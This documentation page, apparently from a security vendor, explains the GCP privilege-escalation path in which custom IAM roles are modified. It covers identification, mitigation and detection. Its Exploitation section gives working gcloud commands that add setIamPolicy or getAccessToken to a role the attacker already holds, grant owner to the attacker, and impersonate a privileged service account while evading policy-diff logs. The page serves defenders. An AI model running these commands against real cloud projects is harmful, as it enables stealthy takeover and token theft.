> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_modify_custom_roles.md).

# GCP\_CAN\_MODIFY\_CUSTOM\_ROLES

## Summary

|                            |                                      |
| -------------------------- | ------------------------------------ |
| **FSProtect ACL Alias**    | GCP\_CAN\_MODIFY\_CUSTOM\_ROLES      |
| **GCP Alias**              | IAM & Hierarchy Control              |
| **Affected Object Types**  | Organizations, Folders, Projects     |
| **Exploitation Certainty** | Certain                              |
| **Granting Roles**         | `roles/owner`, `roles/iam.roleAdmin` |

## Description

`GCP_CAN_MODIFY_CUSTOM_ROLES` indicates that an identity holds `iam.roles.update` on a GCP project or organization, granting the ability to create and modify **custom IAM roles**. This is a particularly stealthy privilege escalation path: instead of creating new IAM bindings (which are visible in policy diffs), an attacker can silently add dangerous permissions to a custom role that is already bound to their identity.

If the attacker's identity already holds a custom role binding, modifying that role to include `resourcemanager.projects.setIamPolicy` or `iam.serviceAccounts.getAccessToken` escalates privileges without any change to the IAM policy bindings — the escalation is not visible in `SetIamPolicy` audit logs.

**Key abuse scenarios:**

* Add `resourcemanager.projects.setIamPolicy` to a custom role the attacker already holds → instant project-level IAM takeover.
* Add `iam.serviceAccounts.getAccessToken` → directly impersonate any SA in the project.
* Add `iam.serviceAccounts.actAs` + `compute.instances.create` → create VMs attached to privileged SAs.

## Identification

### gcloud CLI

```bash
# Find who has iam.roleAdmin at project level
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|iam.roleAdmin")) | {role: .role, members: .members}'

# Find who has iam.roleAdmin at org level
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud organizations get-iam-policy $ORG_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|iam.roleAdmin")) | {role: .role, members: .members}'

# List all custom roles in a project and their permissions
gcloud iam roles list --project=$PROJECT_ID --format=json | \
  jq '.[] | {name: .name, title: .title, permissions: .includedPermissions}'
```

### GCP Console

1. Open **GCP Console** → **IAM & Admin** → **Roles** → **Custom** tab.
2. Click each custom role and review **Included Permissions** for dangerous entries.
3. Check **IAM & Admin** → **IAM** for principals with `IAM Role Admin` or `Owner`.

## Exploitation

### gcloud CLI

```bash
# Identify which custom role the attacker's identity already holds
PROJECT_ID="target-project"
ATTACKER_EMAIL="attacker@example.com"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq --arg user "user:$ATTACKER_EMAIL" '.bindings[] | select(.members[] | contains($user))'

# Add setIamPolicy to the custom role the attacker already holds
ROLE_ID="customEditorRole"
gcloud iam roles update $ROLE_ID --project=$PROJECT_ID \
  --add-permissions=resourcemanager.projects.setIamPolicy

# Now escalate: grant full owner access to the attacker's identity
gcloud projects add-iam-policy-binding $PROJECT_ID \
  --member="user:$ATTACKER_EMAIL" \
  --role="roles/owner"
```

Alternatively, add token creator permission for direct SA impersonation:

```bash
gcloud iam roles update $ROLE_ID --project=$PROJECT_ID \
  --add-permissions=iam.serviceAccounts.getAccessToken

TARGET_SA="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"
gcloud auth print-access-token --impersonate-service-account=$TARGET_SA
```

**Compound path:** `GCP_CAN_MODIFY_CUSTOM_ROLES` → add `setIamPolicy` to a role already bound to the attacker → `GCP_CAN_SET_PROJECT_IAMPOLICY` → full project takeover with no new IAM binding visible in policy diff logs.

## Mitigation

1. **Restrict `roles/iam.roleAdmin`** to dedicated automation accounts; never assign to human users in production.
2. **Separate role definition from role assignment** — use different principals for `iam.roles.update` and `iam.bindings.update`.
3. **Audit custom role permission changes** with the same urgency as IAM policy changes — `UpdateRole` does not appear in IAM policy diff alerts.
4. **Use `constraints/iam.allowedPolicyMemberDomains`** to limit who can be added to bindings even if a role is escalated.

## Detection

| Log Type       | Method                           | Key Fields                                                |
| -------------- | -------------------------------- | --------------------------------------------------------- |
| Admin Activity | `google.iam.admin.v1.UpdateRole` | `resource.type=iam_role`, permission additions in request |
| Admin Activity | `google.iam.admin.v1.CreateRole` | New custom role created with dangerous permissions        |

```bash
PROJECT_ID="my-project"
gcloud logging read \
  'protoPayload.methodName=("google.iam.admin.v1.UpdateRole" OR "google.iam.admin.v1.CreateRole")' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"
```

Alert on:

* Any `UpdateRole` call adding permissions containing `setIamPolicy`, `actAs`, or `getAccessToken`.
* New custom roles created with dangerous permission combinations.
* Role updates by identities outside of a known infrastructure automation pipeline.

## References

* <https://cloud.google.com/iam/docs/creating-custom-roles>
* <https://cloud.google.com/iam/docs/understanding-custom-roles>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_modify_custom_roles.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
